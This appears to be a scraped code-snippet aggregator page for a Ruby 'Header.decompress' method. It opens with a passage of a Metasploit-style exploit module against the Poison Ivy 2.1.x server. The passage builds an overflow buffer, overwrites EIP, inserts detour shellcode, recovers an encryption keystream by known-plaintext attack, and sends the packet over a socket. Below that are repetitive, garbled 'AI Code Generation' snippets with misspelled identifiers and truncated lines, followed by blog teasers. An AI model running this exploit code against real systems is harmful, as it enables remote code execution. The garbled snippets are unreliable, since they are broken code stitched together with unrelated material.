Best Vcr_ruby code snippet using Header.decompress
poisonivy_21x_bof.rb
Source: poisonivy_21x_bof.rb
...105 exploitBuffer = Rex::Text.rand_text_alpha(4) # infoLen (placeholder)106 exploitBuffer << compressedBuffer # compressedBuffer107 exploitBuffer << "\xFF" * 0x104 # readfds108 exploitBuffer << Rex::Text.rand_text_alpha(4) # compressionType109 exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressSize (placeholder)110 exploitBuffer << Rex::Text.rand_text_alpha(4) # pDestinationSize111 exploitBuffer << Rex::Text.rand_text_alpha(4) # infoSize (placeholder)112 exploitBuffer << Rex::Text.rand_text_alpha(4) # headerAllocSize113 exploitBuffer << [target['StoreAddress']].pack("V") # decompressBuffer114 exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressBuffer+4115 exploitBuffer << Rex::Text.rand_text_alpha(4) # lParam116 exploitBuffer << Rex::Text.rand_text_alpha(4) # timeout117 exploitBuffer << Rex::Text.rand_text_alpha(4) # hWnd118 exploitBuffer << Rex::Text.rand_text_alpha(4) # s119 exploitBuffer << Rex::Text.rand_text_alpha(4) # old EBP120 exploitBuffer << [target['Ret']].pack("V") # EIP121 exploitBuffer << [target['StoreAddress']].pack("V") # arg_0122 exploitBuffer << detourShellcode # detour to storage area123 # Calculate values124 allocSize = exploitBuffer.length + 1024125 infoLen = payload.encoded.length126 infoSize = (infoLen + 4)127 # Handshake128 connect129 print_status("Performing handshake...")130 # Poke131 sock.put("\x01")132 # Fetch response133 response = sock.get(target['Packet2Offset'] + knownPlaintext1.length + infoSize)134 eHeader = response[target['Packet2Offset'], 6]135 eInfo = response[target['Packet2Offset'] + 10..-1]136 if ((eHeader.length >= knownPlaintext1.length) and (knownPlaintext1.length >= 6) and (eInfo.length >= knownPlaintext2.length) and (knownPlaintext2.length >= infoSize))137 # Keystream derivation using Known Plaintext Attack138 keyStream1 = get_keystream(eHeader, knownPlaintext1)139 keyStream2 = get_keystream(eInfo, knownPlaintext2)140 # Set correct infoLen141 exploitBuffer = [infoLen].pack("V") + exploitBuffer[4..-1]142 # Set correct decompressSize143 exploitBuffer = exploitBuffer[0, target['DecompressSizeOffset']] + [infoSize].pack("V") + exploitBuffer[(target['DecompressSizeOffset'] + 4)..-1]144 # Build packet145 malHeader = use_keystream("\x89\x01" + [allocSize].pack("V"), keyStream1)146 # Encrypt infoSize bytes147 encryptedExploitBuffer = use_keystream(exploitBuffer[0, infoSize], keyStream2) + exploitBuffer[infoSize..-1]148 # Make sure infoSize gets overwritten properly since it is processed before decryption149 encryptedExploitBuffer = encryptedExploitBuffer[0, target['InfoSizeOffset']] + [infoSize].pack("V") + encryptedExploitBuffer[target['InfoSizeOffset']+4..-1]150 # Finalize packet151 exploitPacket = malHeader + [encryptedExploitBuffer.length].pack("V") + encryptedExploitBuffer152 print_status("Sending exploit...")153 # Send exploit154 sock.put(exploitPacket)155 else156 print_status("Not enough keystream available...")...
decompress
Using AI Code Generation
1 Zlib::Inflate.inflate(@data)2 Zlib::Inflate.inflate(@data)3 Zlib::Inflate.inflate(@data)4 Zlib::Inflate.inflate(@data)5 Zlib::Inflate.inflate(@data)6 Zlib::Inflate.inflate(@data)7 Zlib::Inflate.inflate(@data)8 Zlib::Inflate.inflate(@data)9 Zlib::Inflate.inflate(@data)
decompress
Using AI Code Generation
1 Zlib::Inflate.inflate(@data)2 Zlib::Inflate.inflate(@data)3 Zlib::Inflate.inflate(@data)4 Zlib::Inflate.inflate(@data)5 Zlib::Inflate.inflate(@data)6 Zlib::Inflate.inflate(@data)7 Zlib::Inflate.inflate(@data)8 Zlib::Inflate.inflate(@data)9 Zlib::Inflate.inflate(@data)
decompress
Using AI Code Generation
1puts Header.new.decompress(ARGV[0])2puts Header.new.decompress(ARGV[0])3puts Header.new.decompress(ARGV[0])4puts Header.new.decompress(ARGV[0])5puts Header.new.decompress(ARGV[0])6puts Header.new.decompress(ARGV[0])7puts Header.new.decompress(ARGV[0])8puts Header.new.decompress(ARGV[0])9puts Header.new.decompress(ARGV[0])10puts Header.new.decompress(ARGV[0])11puts Header.new.decompress(ARGV[0])12puts Header.new.decompress(ARGV[0])13puts Header.new.decompress(ARGV[0])14puts Header.new.decompress(ARGV[0])15puts Header.new.decompress(ARGV[0])
decompress
Using AI Code Generation
1input = File.open(input_file, 'r')2output = File.open(output_file, 'w')3output.write(header.decompress(input_contents))4input = File.open(input_file, 'r')5output= File.pen(output_ile,'w')6output.wrie(eader.compress(input_contents))7 def ompress(input_string)8 input_array = input_tring.split('')9 def decompress(header_string)10 header_array = header_string.tr('[]', '').spliter = Header.new
decompress
Using AI Code Generation
1str = Header.decompress("1.gz")2str = Header.decompress("2.gz")3str = Header.decompress("3.gz")4str = Header.decompress("4.gz")5str = Header.decompress("5.gz")6str = Header.decompress("6.gz")7str = Header.decompress("7.gz")8str = Header.decompress("8.gz")9str = Header.decompress("9.gz")10str = Header.decompress("10.gz")11str = Header.decompress("11.gz")12str = Header.decompress("12.gz")13str = Header.decompress("
Check out the latest blogs from LambdaTest on this topic:
In today’s world, an organization’s most valuable resource is its customers. However, acquiring new customers in an increasingly competitive marketplace can be challenging while maintaining a strong bond with existing clients. Implementing a customer relationship management (CRM) system will allow your organization to keep track of important customer information. This will enable you to market your services and products to these customers better.
Hey LambdaTesters! We’ve got something special for you this week. ????
As part of one of my consulting efforts, I worked with a mid-sized company that was looking to move toward a more agile manner of developing software. As with any shift in work style, there is some bewilderment and, for some, considerable anxiety. People are being challenged to leave their comfort zones and embrace a continuously changing, dynamic working environment. And, dare I say it, testing may be the most ‘disturbed’ of the software roles in agile development.
The purpose of developing test cases is to ensure the application functions as expected for the customer. Test cases provide basic application documentation for every function, feature, and integrated connection. Test case development often detects defects in the design or missing requirements early in the development process. Additionally, well-written test cases provide internal documentation for all application processing. Test case development is an important part of determining software quality and keeping defects away from customers.
Entering the world of testers, one question started to formulate in my mind: “what is the reason that bugs happen?”.
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!